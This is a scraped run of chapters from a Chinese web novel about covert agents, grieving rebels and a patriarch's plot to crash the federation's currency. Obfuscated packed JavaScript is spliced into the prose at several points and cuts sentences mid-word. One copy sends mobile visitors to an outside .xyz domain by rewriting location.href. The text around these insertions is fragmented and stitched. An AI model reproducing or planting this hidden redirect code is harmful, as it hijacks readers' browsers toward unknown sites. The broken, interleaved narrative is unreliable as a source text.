尤利安用方向盘上支着下巴,百无聊赖地揣测着自己可爱妹妹的心思。 西奥真的整个会议都没有和自己斗嘴。该不会是因为处决了他们的好弟弟,心生不忍了吧——那也太幽默了! 尤利安想象了一下就觉得这种故事情节还是太令人恶寒了,他优雅地翻了一个白眼。 一双手突然从后座伸出,冰凉的匕首抵在脖子上。 “孟弈究竟在密谋什么。” 尤利安移动视线,看到了熟悉的深蓝西装,袖口看起来还是新的。他想了想最近一次拿到这种衣服的人。 噢,是他帮沃尔安排进军备处的小实习生。 他又看向后视镜的位置,可惜这个冷漠的女人即便在手握主动权时也谨慎得很,看不见面容。 但好在能问出这种话的人范围实在太小了。 其实他只是想想她究竟长什么样子,不过真看到了估计也是这位顶级特工的易容吧? 或者这样的定义实在有失偏颇,应该说舍生忘死的保镖、墨隧最强执行人、和神平起平坐的人? 哎呀呀,光是想一想就能知道,如果看不到她的真实面容就实在太可惜了吧! “如果我都说了,这位面具小姐可以放我一条生路吗,我想你不会。”尤利安揶揄道,“坏心的小姐,你都已经按着猜想做出行动了,为什么还要犹豫呢?” 废话真多,简直和他姑姑一样。 面具一脸冷漠地向前探身。 “哦?面具小……” 不等他再说出什么油腔滑调的无赖话,面具直接按着尤利安的脑袋向前砸在方向盘上。 “嘀!嘀!嘀!” 三声短促的鸣笛后,尤利安令她满意地闭上嘴。 人昏死了。 “好残暴哦。”神明突然从后座的另一侧爬出来,“真庆幸你没这么对过我。” 面具没搭理神明,开门下车,准备把尤利安直接塞进后备箱。 菲娜的汇报及时打断了面具的暴行。 3月38日18:04 【姐夫开门我是姐姐】:已镇压完毕。 【Cover】:1 面具回完消息,又看眼昏死的尤利安,又看了看神明。 “你看我干嘛!我警告你啊,我不要和这种人坐在一起!” 人的暴行可以被躲过,神的意志等同命运。 面具果断把尤利安扔进后备箱。 比起其他的,她更怕神明在后面吵吵嚷嚷。 3月38日18:08 靠着西装和尤利安不着调的美名,面具畅通无阻地将尤利安和其爱车带离洛克斐庄园。到了目的地,早在此处等候的仓鸮打开副驾驶的门,顺手将一枚芯片交到她手中。 “痴心让我把这个给你带来。回声把这枚芯片藏在左手的拇指里,估计是很重要的东西。” “她好了?” 仓鸮老实摇摇头:“好一些了,但还是不怎么说话,看起来回声的死对她打击很大。这个芯片是我们还在回声私宅时她就告诉我的,包括尤利安也是。” “嗯,他人在后备箱,我带着神明去看看痴心,你从他口中拷问出孟弈的安排。” “好。”仓鸮停顿一会,“无恶不杀?” “嗯。” 神明疑惑地看看面具,又看看仓鸮。 3月38日18:11 【我要往海里加方糖】:什么是无恶不杀。 【半拉苹果】:哦哦,这是我们以前在墨隧搭档接单的准则。她把接单账号丢给我,说不接伤及无辜的委托,后来慢慢就变成了解决一个人前的口癖。 【我要往海里加方糖】:所以你是本来就知道拷问完要把他解决掉? 【半拉苹果】:好像……没有? 【半拉苹果】:也是在询问她要不要杀吧? 【我要往海里加方糖】:哦——学会了! 仓鸮犹豫了一会。 总有一种教坏小孩的心虚感。 3月38日18:36 面具把车和后备箱里的尤利安统一交接给仓鸮后带着神明上楼去找痴心。 痴心看起来很平静,平静到让人担忧。 面具坐在痴心病床边,看着神明握着痴心的手,温言细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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面具等了等,没有等到下文,于是接道:“我在。” 痴心不知道为什么,听到这句话忽然就红了眼。 “对不起……面具……对不起!” 泪珠大颗大颗落下,砸在病床被子上。 “都怪我,都是我害死了学长。如果不是我用了蓝涡,不是我心存侥幸一定要救下父亲,不是我错误判断了形势,学长根本不会死,我就是个刽子手。” 面具安静地看着她。 “如果是你在,他一定不会死。但你不在,你为什么不在呢?你要是在该多好啊?我、我……我不是这个意思。” 痴心肉眼可见地慌张起来,脸憋得通红,一时哀伤,又一时憎恶。 面具甚至不知道痴心在恨的究竟是谁。 是恨她不在场,还是恨自己害死了回声。 又或者是两者都有,所以还恨无端迁怒的她本身。 “你都已经把所有应该交代我的事交代的那么清楚了,我还是做不到,为什么呢?为什么对于你而言轻飘飘的事,在我手里却重如千钧?为什么你好像从不迷茫?可我知道你也是人,你也会迷茫。但你总是坚定的,你总是在做出决定,为什么呢,面具?我不是你,我只是个普通人,我……我好像分不清什么是对的什么是错的了,如果是你,你又会怎么做呢?如果现在是你站在我的立场上,你又要如何心安理得地活着呢?” 41. 第三十九场 若镜中已无我 “什么都不做一定会后悔,选择时就要做好承受一切后果的准备。但人力终有穷尽时,你要接受自己会犯错。” “即便……是一条人命?” 背负他人的命运活下去是很困难的一件事。 但现在说什么都晚了,痴心不可能不背负着回声的命运继续向前。 面具沉默半晌。 底利马有一句话。 “Wealldieintheend.” (我们终有一日死去。) 痴心停顿了很久。 她在理解面具的意思。 是说,她并未改变结局,只是加快了进程吗? 因为人们终有一日死去,所以就不用在意他的生命了吗?还是因为她终有一天死去,所以她总有一天会到九泉之下和他赔罪? “因为生死对于每个人都是平等的,所以命运不该交由他人背负。” 什么……? 可是…… “可我放不下,面具,我没有你那样的理性,我做不到。” “你不需要放下,你只需要向前。”面具毫不犹豫地说。 但痴心已经什么都听不进去了。 她正执迷于让自己血肉都疼痛的叙事中,只有自弃能够避去愧疚带来的锋芒。 而最为可怕的事在于,她清楚地知道能够看清自己的镜子已经碎了。 她的退避是清醒的。 “格式塔疗法中,人可以对着镜子自我剖述。但面具,我开始厌弃自己了,我的镜子已经碎了。” 她知道这是一场凌迟,也知道自己在饮鸩止渴。 她试图理解面具的所思所想,但还未说服自己,新的悲伤就已经涌来。 “在我还是个孩子时,我的父亲曾对我说,永远不会有最糟糕的那一天。但我曲解了他的意思。‘这不是最坏的结果,一切还会变的更差。’就像明天的太阳再也无法升起,而这是一个无比悲伤的世界。但是春天要到了,我的意思是,动物植物,生物、云和太阳,这世界上的一切东西,都即将迎来了变革和新生……” 她抬起眸子。 “所以,为什么排除他?” 痴心回过神,哀伤地看向面具,说不出是怎样的复杂心情。 面具的表情依旧没有波澜,但是痴心还是从她的平静中感受到一种明确的疑惑。 “不必在意,我一个人自言自语惯了。” “自言自语做什么?”面具问。 “呵呵……”痴心自嘲地笑着,“也许是为了解决苦难,也许……是为了献媚命运。” 面具愣住了。 这样的痴心,显得格外陌生。 痴心似乎清楚面具在想什么:“再次见面,请送我一面镜子吧,面具。” 她温柔地笑着移开视线,不再关心面具的反应。 杯子里的水凉了。 “我记下了。”面具起身重换了一杯水。 即便如此,痴心仍旧在体谅面具的心情。 再次见面——等到她像面具说的那样,可以背负着罪孽与愧疚前行了…… 就算重逢了。 面具深深看了痴心一眼。 温柔的女性似乎注意到了面具的迟疑,回过头平静地催促她离开:“局势刻不容缓,你去忙吧,至少别让我再拖你们后腿,我这里有护工呢。” “好。” 神明一听要离开,又特意转到病床前和痴心打了个招呼:“痴心,你有需要随时和我联系!” “嗯,我记下了。”痴心努力对着神明挤出一个笑容。 “叮。” 痴心打开手环。 3月38日19:50 【我要往海里加方糖】:如果你不开心,就可以不笑的。不管你是什么样子,我都接受,我都会爱你,因为痴心一直一直都是一个很好的女孩子。 【我要往海里加方糖】:嘿嘿。 痴心默默关上手环,没有回复。 她重新看向巨大的玻璃窗,影子被映在窗中,她只能刻意忽略模糊的倒影。 无论是回声还是神明,又或是面具…… 都是一样的。 温柔的人变成什么样子都温柔。 只有她…… 只有她一个人缓缓落后,终有一天,她会连他们的背影都看不到了。 影中人眼角慢慢湿润。 她是漫天繁星掉进了宽饶的河,掀起一层水雾,变成了云,轻飘飘地托着一颗心走。 从痴心病房出来后,面具先把神明送回洛克斐庄园,而后到提克斯河的下游去找还在审问尤利安的仓鸮。尤利安像是知道自己说完情报后的结局,费尽心思想用情报换一线生机。仓鸮拿不准主意,只好等面具做决定。 面具赶到时,两人还僵持不下,她换下仓鸮,二话不说接过狼狈不堪的尤利安,直接把人按进提克斯河反复洗涮脑子。 工业废水、底利马人排泄物、各类型风味腐尸混合于水体,经过三百年的演变已经完全在河道凝固成毒水毒泥,不谈及泛滥成灾的寄生虫,就连周边气体都带着剧毒。 面具风轻云淡地抓着尤利安的脑袋,把他整个人向提克斯河里按,动作标准地将人笔直提出来再按进去,确保尤利安的呼吸道不会被感染。 她和仓鸮不一样,仓鸮还会问问题,她上来就带着防毒面具,一言不发地动手。 尤利安甚至觉得她不是为了听什么情报,她就是为了发泄情绪。 仓鸮的种种手段已经令尤利安绷紧心神,如果不是尚存一丁点求生欲,他早就一吐为快。 他想起了关于烬土的种种传闻:什么委托目标死了但她还是屠了一个园区、与邪神签订契约成为眷属生吃那些权贵的心肝、看起来没有感情其实是个心理变态…… 此刻,空气中不可理喻的恶臭阻断了理性思考,恐惧已经完全攫住他的心神。 刚刚也是一样,她二话不说就粗俗地砸昏了他。 她就是个暴力狂!她不是可以沟通的对象! 不行! 他不想死! “我说——” 3月38日22:12 三区天台、小雨。 伫立于底利马、费可、下联交界点的三区天台曾是联 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449342|185251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邦最经典的地标建筑,那里曾有着整个联邦最好的观景位置。 当年被誉为“缪斯守望之地”的底利马就毗邻在天台东北,古典艺术建筑风格像是神灵的花园般,自然而古朴;西南是金碧辉煌的费可,每一条宽街上行驶车流都像耀眼的钻带,熔岩般缓缓流下高速。东南方向的旧教区多古堡,高等学院多如牛毛,年轻靓丽的学生门打扮的光鲜亮丽,青春的朝气自成一道靓丽的风景线。 顶尖学府们还在建立之初为争夺古堡的使用权大打出手过,那时候在三区天台,还可以免费看到几大院校的领导领着工人们拉横条、互相挑衅示威的奇观。 而如今,底利马已是一片污秽的废墟,费可的旧建老去,联邦中心转移、四大家族入主上联。金属与冷淡的蓝光掩埋幼稚的过往,底利马与联邦之间切割出平凡的下联区,上联区成为了睥睨众生的存在。 自此,三区天台的供电被彻底切断,大门永远落锁。 浓云汇聚在底利马上空。暴雨持续了不到一个小时,中间停了没多久,不一会儿又淅淅沥沥地下起了小雨。雨丝顺着微风斜着钻进黑暗的城区,撞在大小不一的废墟上,激起无数粉碎的小水花,落在地上不停积攒,就成了反光的水洼,这就是底利马漆黑街道上唯一的亮色。 面具抬手将替她挡了一路风雨的西装取下,随手揉成一团扔在地上,向前几步站在天台边缘。 底利马因为过于昏暗而接二连三亮起的一盏盏小灯什么颜色类型都有,就像这片城区的命运: 每个人都有独属于自己的生存之道,但它们在这绝境中有着同样的意义。 活下去,拿回尊严。 面具顺着底利马、费可向上联转过视线,迎风扯下黑罗塞进兜里。金色的眸子穿透茫茫黑夜,冷漠地投向在此盘根错节两百九十九年的上联区。 “帕利蒙拉、沃尔、孟弈、亚富……” 低沉的嗓音缓慢地念过每一个名字,像蛇腹盘绕滑过龙爪槐的粗枝。 而她藏于高处的阴影,尽览鬼蜮伎俩。 如何使得一个时代衰落? 从内到外、从上至下、一寸寸敲断,对每一种人群施以不同的绝望。 而后,这个时代将迎来终结的开端与结局。 旧时代的终结已然到来,时代的变革是全速前进马车,她无法将它停下,但可以带它前往新的方向。 她要在变革的浪潮中,插上三粒钉子: 过去,现在,未来。 他们曾否定过去,她将重写旧世的辉煌。 他们曾打杀现在,她将弄潮航路的新向。 他们曾愚弄未来,她将引导希望的拥抱。 今晚注定是一个不眠夜。他们要睁大了眼睛看着各方情报,好好盘算怎样的应对最得体、怎样的谋划最有利;他们要熬到天明,熬到底利马迎接新的黎明。 然后一茬茬好戏上演,她带领联邦落幕。 面具目光平和,迎风而立:“来试试看吧,我等着。” 她等了十余年的结局,底利马人等了三百年的结局。 她亲自请机关算尽的人——满盘皆输。 42. 第四十场 夜晚只有母亲哭 3月38日23:36底利马徐宅 简陋的小屋前,大门刚被悄悄推开一条缝隙,就又被猝不及防地合上。 手腕被母亲拉住的瞬间,徐启培搭在门把上的手触电般缩回,僵硬地回头:“妈妈?” “你要去哪里?”母亲红着眼问。 “我……” “你要去找她对不对?” 常年因病卧榻的母亲即便吃了水参也依旧瘦弱。长子的遗言套在信封中塞在她胸前的口袋里。 她的头发一天间花白许多,眼里泛着心碎的水光。 丧子之痛对于她而言是比那场几乎夺去她半条命的病魔更残酷的存在。 眼看徐启培又要去找魏嘉禾,她再也不能忍受自己情绪阻拦自己的小儿子:“我已经失去了你的哥哥,不能再失去你了,小培!” 母子俩在大门相持不下。 徐启培怕自己一用力就伤到母亲,不敢抽手,只好和母亲讲道理。 “妈妈,底利马需要我们,我不能当一个逃兵……” “魏嘉禾在让你哥哥替她送死!” 但徐启培耷拉着眉眼,不说话,也不挣脱。他就只是听着母亲悲痛欲绝的哭喊。 她不可置信地看着自己的孩子,痛苦质问:“她给你们灌了什么迷魂汤!竟然要让我的孩子一个两个都替她卖命?!她怎么能这样狠心?小培,不要去,算我求求你,不要去!底利马即便有救,也不应该让一群孩子送死……它已经烂透了。” 凄苦而悲痛的母亲抽出那张被她反反复复读了无数遍的信封。在她最开始看到那封信时,她甚至以为这是徐启培的恶作剧! 她怎么能够相信,那是她孩子留存于这世界的绝笔?! “你哥哥除了一封信什么都没有留下来,只剩下我们母子相依为命,他不让我恨她。但我是一个母亲,怎么可能不恨?可我能做什么,我什么都做不了。我只能看着、放手。” 他甚至不敢抬头正眼看她。 “……就这样吧,就让一切过去吧,小培,别再让我这样无能为力了,好吗?” 徐启培缓缓抬起头,眼中的决意亮得吓人,沿着视线刺得她生疼。 都说母子连心,她一下子就猜到徐启培要做什么了。 “对不起……妈妈……”徐启培泪流满面,他背过身摇了摇头,轻轻用力将母亲抓在胳膊上的手扒开,“对不起对不起,妈妈,我不能答应你……我不奢求您的原谅,我知道我在伤害您。” 徐启培深深地呼吸,黑瘦女孩的影子盘旋在他眼前。那些富有力量感的语言在他脑海中生根已久,督促着他继续开口。 “但年轻的孩子需要叛逆,只有他们敢于反抗祖辈留下的规训、质疑父母留给他们的那条平稳道路,这个世道才有可能被改变、被革新,一切才能可能进步。这是我的理想、我们的理想,我的同伴都已经为底利马做出贡献,我不想被落在身后……” “小培……” 母亲的声音轻得没有重量,话明明还哽在喉头,却像是认命了一般不再继续反驳。她只是迟缓地、最后喊了一声慈柔的、母亲才会呼唤的称呼。 但孩子只是目视前方。 “妈妈,烬土救下我们一家,我不能让她孤身奋战。总有我能做的,我会代替哥哥,继续追随她的脚步。对不起,妈妈,我要去找魏嘉禾了。我答应您,我会尽力活下去,您也要好好的,等我回来。” 母亲迟疑着松了手。 可是小培…… 她救我们不是为了让你替谁卖命,尤其是魏嘉禾。 她只是想守护底利马的未来,让你们能为自己做出选择…… 望着孩子奔跑远去的背影,母亲弯下腰失声痛哭。 她当然还有话可以说。 如果自己能够病好,是用他们的命换来的;如果早知道自己痊愈后,要面对的是自己孩子一个接一个的死讯,为什么当初不干脆就让她这么死掉? 但她不能说。 他觉得他长大了,他是大人了。可在她眼里,她的放任不是因为孩子自以为是的成熟。 他们是意气风发的少年,他们理所当然地可以恣意妄为。年轻的孩子不去追求自由,谁去追求呢?人生的道路,终究要交给他自己去选。 哪怕她明知道这不是一个好的选择。 所以这片土地烂透了。它催熟了一批又一批孩子,把他们送上维护自己尊严的战场,然后继续把新的孩子变得不像孩子,以大人的名义再送到黑暗中去。循环往复、永无宁日…… 多么荒诞可笑的地方。为了虚无缥缈的东西,葬送一条又一条生命。 3月39日0:54下联区女子监狱 子夜,女工们并排着侧卧躺在一起。 房间很小,床铺连成一片,前面人的后背紧贴后面人的前胸,呼吸的热气打在前人的后颈,连翻身都要所有人一同才能做到。 无人言语,无人入眠。 孙林思听见小声的啜泣,什么温热的东西沾湿她的头皮,女人在身后微弱颤抖。很快,身后的床垫一轻,床尾传来布料的摩挲声,接着是女子踮起脚快速穿过房间的声音。脚步声还未落到角落里,有谁鞋底轻碾地面,将位置移开,好多容下一个与她们相似的人。 孙林思很难过,但她流不出眼泪。 好像是因为自己的立场与角落中的女人们不同。 每一个不能回家的节日,每一个不能一同庆祝的诞生、每一个学院放榜的日子,都会有这样一群好像什么也不能打倒她们的坚强女人,各自寻觅一处漆黑无人的小角落,默默流泪、默默愧疚、默默思念。 她们同病相怜却无法彼此宽慰,这世间最不该共情的离别化作整夜的缄默,仿佛那就是最后的倔强。 而这伪装只是彼此尊重的体面,明日一早太阳升起,姐妹长姐妹短的仍要坚强活着,可那晚夜的泪水何人流下,所有人都心知肚明。 因为这原因如此简单淳朴、并不难猜—— 夜晚只有母亲哭。 挨着枕巾的脸忽然湿了,孙林思后知后觉地摸了摸枕头。 她没有新的枕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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徐启培犹豫片刻,他的脸上是孩童面对自己所欣赏憧憬的存在时、会不由自主流露出的纯真的羞涩,面对母亲阻拦时的干脆在魏嘉禾本人面前瞬间烟消云散,他甚至大脑变得一片空白。 “没话就回去。” 徐启培打了个哆嗦,连忙抬起头否认道:“不是的!” 魏嘉禾的表情好阴沉。 这是他抬起头后的第一反应。 是因为什么? 因为他们为底利马死去了吗? 如果他也为底利马牺牲她会露出这样的表情吗? 这种像从釜底抽走、半燃半烬的薪柴一样的姿态? 不过二三秒的功夫,羞怯变成了喋喋不休的勇气。 徐启培坚决地抬头:“我来跟着你!魏嘉禾!我哥死了,他留了信,他说他是为了底利马死的,他是为了底利马的未来,但他让我留下,什么都不让我做。” 魏嘉禾正视了他,她的眼底划过一丝复杂的情绪,但徐启培从中读出笑意。 就是这样的笑意,像是鼓舞一般。 仿佛在问他。 那你呢? 43. 第四十一场 底利马儿童宣言 “我不想这样!我不想再在原地看着你们向前走了,我想和你们一起见证!我知道你的能力,我相信你,我只相信你!魏嘉禾,带上我吧,我会给你卖命!我什么都会,我能吃苦,我什么都能学!我不会拖后腿的,只要你愿意带上我。” 魏嘉禾不知道什么时候又低下了头,一动不动,毫无反应。 徐启培不甘心地拔高音量:“接受我!不然你一定会后悔的!” 她的双肩在颤动,整个人剧烈得抽搐。 徐启培被吓得噤了声。 接着,破碎的、嘶哑的、割裂而凄厉的声音从令人熟悉的嗓子中挤出来。 魏嘉禾开始笑。 先是低声的,然后忍不住抬起头大声笑着,眼泪从通红的眼角流下。 四肢百骸唯一的热量涌向那颗仍在跳动的心脏,就像一团熊熊燃烧的火,在她体内愈烧愈烈。 烧啊烧啊,好像要把她从里到外都烧成一团干灰。 意识到她只是在笑,并不是在哭的徐启培出人意料地平静下来。 魏嘉禾大笑着平视波澜不惊的徐启培。 她手脚冰凉,却目光炯炯。 鲜活的情绪就像血液,在她全身的血管中不断游走上涌。 “好,当然好!四大家族算计了我们所有人!徐启培,你哥哥为了底利马的未来而死,我们的朋友、同伴们为了底利马的未来而死,他们甚至没有人留下尸体!这都是上联的错!这全都是四大家族的卑鄙手段!而我!我会带着你向上联复仇!但我不要你的忠诚,你只要发誓对我们的理想效忠!不要背叛它,不要遗忘你母亲的泪水,不要玷污你哥哥的勇气,不要抹黑那些孩子的荣耀!” 是的,他将为此效忠一生。 而她会是如星星般指引方向的人。 “他们都说底利马烂透了、没救了,但我知道你曾承诺了我哥什么……魏嘉禾,承诺我。我求你承诺我你会带着我到更好的未来,像你承诺我哥一样,承诺我。” 魏嘉禾目光幽幽地盯着徐启培,直把徐启培看得毛骨悚然才笑着开口,一句一顿: “徐启培,我向你承诺:总有一天,上联行政总部原址的废墟上,会竖起一块刻着我们所有人名字的丰碑。没有人能遗忘我们,徐启明、小可儿、豆子、小灰……没有人敢藐视底利马。你看着吧!底利马还有未来!我会给底利马一个崭新的未来!” “我相信你……”就像相信启明星的方向永远恒常。 可徐启培不知道,启明星的位置并不恒常。 它既是死亡,又是复活;偶尔在东方,偶尔在西方。亘古不变的只有那惑人的明光,永远夺人眼球,永远引人遐想。 魏嘉禾的目光变得柔和,连同她的言辞也轻柔地如金街可以将疼痛抹平的晚风。 “阿培,只剩下我们了。那么多孩子,只剩下我们两个了。徐启明将你和你母亲托付给我,这是我答应他的。从今以后,我就是你的姐姐,我会替你哥哥照顾你,你就是我的弟弟。你要记住,你是我的弟弟,是我最信任的人,也会是我最得力的左膀右臂。当我承诺你的未来到来时,历史一定会将我们的名字镌刻在一起,后人会永远记得你我一起出现。” 她笑着,慈眉善目又胜券在握。 “这是我只许诺给你的承诺——生死不离、直至永远。” 徐启培的呼吸不断加速,他的心跳急得快要跳熄火了。 他和魏嘉禾! 他们会是先启者! 他们会是底利马永远被人铭记的英雄! 只有他!只有他们! “禾姐、禾姐……不,姐姐!我绝对绝对不会背叛你,姐姐!我用性命担保,姐姐,我永远,永远不会背叛你,无论生死!”徐启培万分激动,保证似的挺起胸膛。 魏嘉禾赞许地点头,眼里染上一抹清浅的笑意。 “阿培,你母亲觉得底利马烂透了,对吗?那你呢?” 徐启培愣了愣,话题转换的有点太快了,他有点没跟上。不过魏嘉禾似乎并不在意,她只是拢了拢身上的外套,走出大门,看向门外那片破败荒芜的土地。 她已经四十三小时二十四分钟没有睡过了,这两天的经历加起来好像比她过去的十二年都要漫长。她的情绪时不时就像滴在烙铁上的血,迅速沸腾后又蒸发得无影无踪。傍晚在青云帮那会,头昏昏胀胀,好像神经结了冰,想什么都是钝的。徐启培这一激,她反而彻底熬过劲了。 夜已过半,多云的天气,甚至连月光都透不出来一点。外街上一盏灯也没有,这片土地就这样被笼罩在无边的影子里,黑得令人发慌。 冷风顺着太阳穴往脑袋里钻,耳边嗡嗡作响。她的头又开始晕了。 底利马的夜风就像这地方一样,凛冽得不讨喜,却带着破晓的希望。 她是底利马的孩子,染着底利马的底色。 “阿培,我们是从血与泪中走出的孩子,底利马有自己的荣耀。” 魏嘉禾伸出手指向北区的工业遗址。 “看那边,联邦几乎所有的重要矿产资源都分布在底利马的地下矿层,北区那些被海风锈蚀了的熔炉曾燃烧着整个联邦的命脉。三百年前,光是底利马一个城区的生产总值就占据了整个联邦的三分之二以上,所有其他城区的人们都挤破了脑袋想要进入那些浓烟滚滚的工厂。政治、经济、技术、学问、艺术……没有什么不在那样的时代中蓬勃发展。” 她的指腹留着一层厚厚的茧子,可当她意气风发地讲述着底利马的历史时,又带着挥斥方遒的书生意气。 “那时的政治权利大部分集中在首相手中,少有的立法权在元老会中。不像现在最高权力几乎平均地分散于总统、国务卿和议员集团。首相出身的那个执政家族已被抹除姓氏,我查不到资料了。但是阿培,那样一个比洛克斐还有庞大的家族,却毅然决然地要求将府邸建立在工厂旁边。” 徐启培听得入迷,听到这样惊世骇俗的选项不免瞪圆了两只眼睛。 “首相都已经身先士卒,其他家族也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你还是个孩子,你还年轻,我们都很年轻,还有很长的时间和一切不好的东西做斗争,任何挫折都不能打到我们。谁说人只能改变自己,人当然也可以改变环境,不然社会如何进步,思想如何精进?外人的冷言冷语只是他们人生道路的经验,它绝不会完全复制于另一个人的身上。我们有自己的路要走,不管那条路是怎样的,只要心里的那团火不被熄灭,就总有方向前行。” 徐启培想,他就是被这样的姐姐吸引着。 她是天生的领袖,轻而易举地就能讲出他一辈子都未必能理解的道理;她的语言并不晦涩,她真心实意地希望教导他更多;但她又时常妙语连珠,谈吐中透露着她曾涉猎的深厚底蕴。 她是含而不露的剑柄,只需搭手、握剑。 她将替其人挥斩破除一切前方的迷障。 “去有所作为,直到你、和你想保护的人都爱上它。” 44. 第四十二场 父子情深 3月39日7:45孟氏庄园 孟安走进孟弈的办公室:“父亲,都已经准备就绪了。” “很好。只是以后要委屈你以过继的身份出席了。” 孟弈慈爱地看向孟安,眼中带着显而易见的愧歉。 “一切都听父亲的。您为我做了这么多。这只是一个名头,我不在意。” 孟安面带恬静的笑意,对孟弈的愧歉满怀感激。 这是当然。 他当然知道孟安并没觉得过继有什么不好。自己是她的亲生父亲,孟安清楚自己给她铺了那么多路。 四年前,他主导墨隧委托一事。接连不断针对四大家族的暗杀理应让她看清楚,明面上的挡箭牌是她活着接取家主之位的最大助力。除了化名孟安的财政部部长,还有……孟汲这个让他一直不满意的儿子。 不过他昨天就已经死了。 孟弈无可避免的想起前一天早上,一个很巧合的时间点,4:44。 联邦的发生一切变故都只是按部就班的遵循着他的安排,孟汲的死也一样,他的命运早已注定。唯独那小子临死前的爆发出人意料,原本还以为孟汲这辈子也不会说“不”。 但凡孟汲平日有一点敢于反抗的举动,他也不会对孟汲这么失望。 孟汲一步步把自己到沦为弃子的境地,他仅存的那点价值就是带着沃尔借魏嘉禾泼向孟家的脏水,永远闭嘴。 孟弈对着孟安眯眼而笑:“好孩子,你去吧,我们的计划都要靠你了。” 3月39日8:05呆熊新闻工作室 “快快快,高政要两名、不,四名!速度速度!网络组继续跟踪!人呢,会议室集合!各组主任备案,二十分钟内我要看见问题清单!” “来了来了!” 工作台开机的声音响起,不同职务的职员来来往往穿梭。打扮干练的精英匆忙地夹着笔纸和各种文件飞奔向大会议室。门口的打卡装备直接被略过、踢翻的垃圾桶来不及扶、提神饮料从没扣好的杯子里洒出,溅到雪白的昂贵内衬,主人也没时间分心。 “马上——我来了!” “赶紧!文件!” “这里——” “还有清单!” “快了快了,还有三条……” 联邦历300年3月39日上午八点,几乎所有的传媒公司都经历了相同的兵荒马乱。 八点整,孟氏家族官号通过各大媒体宣布九点召开孟氏家族发布会,家主孟弈将对于孟家工厂发生的底孩事件做出回应。 “这将是四大家族统领联邦三百年来最大的新闻!孟家与歌莎家、洛克斐和克家、联邦与底利马!同样是九点!四大家族公开对立意味着什么!鱼死网破的翻脸!这是什么!历史的转折点!” 主编急促用力地在会议桌上敲笔,发出巨大的噪音。会议室的高级记者们非但没有皱眉,反而一个个都显得狂热兴奋。 这不是工作,这是能留在史书上的笔触! 这是一个天大的新闻!! “施纪和王玖去盯孟家,斯坎尔纳和门伊负责盯洛克斐。现场随时等我通知,两家肯定要互相指责,一旦可以举麦,立刻互相引用提问!技术组的几个大佬都跟着过去!你们要大胆地问!这是我们扬名立万的机会!” “明白!!!” “很好!拿好稿子,出发!” “出发!!!!” 3月39日8:55孟家发布会现场后台 孟安发来信息说她那边的人都已经就位了。 孟弈把无关人员赶出了休息室,拨通电话:“第二次游行计划启动,各方发起最大规模游行。让费可区提高物价,可以直接推动失业了。” “好的父亲,我不会让您失望的。” 手环将孟安的声音从沉地送到上联区的休息室。 孟弈嗯了一声,挂断电话。 他的目的很明确。 第一次游行是为了干扰洛克斐判断,在尤利安的游说下借备战名义限制货币供应。今天的发布会后,他和帕利蒙拉就可以继续建立期货合约,收购洛克斐即将消耗的贵金属储备。 第二次游行是为了制造大型混乱,提高物价及失业率上升,使得法币信用崩盘,动摇破坏现有货币体系,而后联邦货币体系必须转向贵金属本位。 最后,他将以最大贵金属储量拥有者的身份重新洗牌联邦。 不会再有四大家族。 只有孟家。 只有孟弈。 他会成为唯一的统治者。 “叩叩——” 助理敲了敲门,提示道:“家主,到时间了。” 孟弈起身,摆正袖口的钻石夹子,露出稳操胜券的笑容。 “嗯,我们走吧。” 上联时间九点,孟弈准时召开线下发布会。 为了保证计划的实施,该发布会在全网线上同步直播,甚至连墨隧都被植入了直播链接。 简单的开场后,他进入正题。 “经过检察院工作组调查,3月38日孟家工厂被未成年孩童炸毁一事,是洛克斐家族伙同底利马最大帮派、腰链帮一手策划的惨案。所谓的孩童并非歌莎家族收留的孤儿,而是来自底利马的恐怖分子。 “众所周知,底利马是一个充满了混乱与暴力的肮脏地,老弱病残的存活率接近为零。底利马的帮派想要延长自己的生命周期,势必要将孩童纳入帮派中……” 这是孟弈第一次只以孟家的立场在公开场合发表对底利马如此主观且负面的评价。 他需要引起底利马人的愤怒。 那些脑子里只有暴力的虫豸们只需要这样一点点普通的贬低就足够了。 不出意外,墨隧的孟家直播间已经彻底爆了。 【?】?355 【孟弈老狗!说你爹屁话呢!】 【管理员呢,死了吗,还不让上联人滚出去!】 【所以底利马只有独立,争取应有的权利才有出路,反抗本身就是意义。】 【去你的混乱暴力,你爷爷我还活着呢!】 【看不下去了,走了。】 【什么都往底利马身上扣,我们底利马还是有道德底线的好吗?】 【申请联译底。】 【傻bi】?2467 “……因此,网传四大家族把工厂当作娱乐场所的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 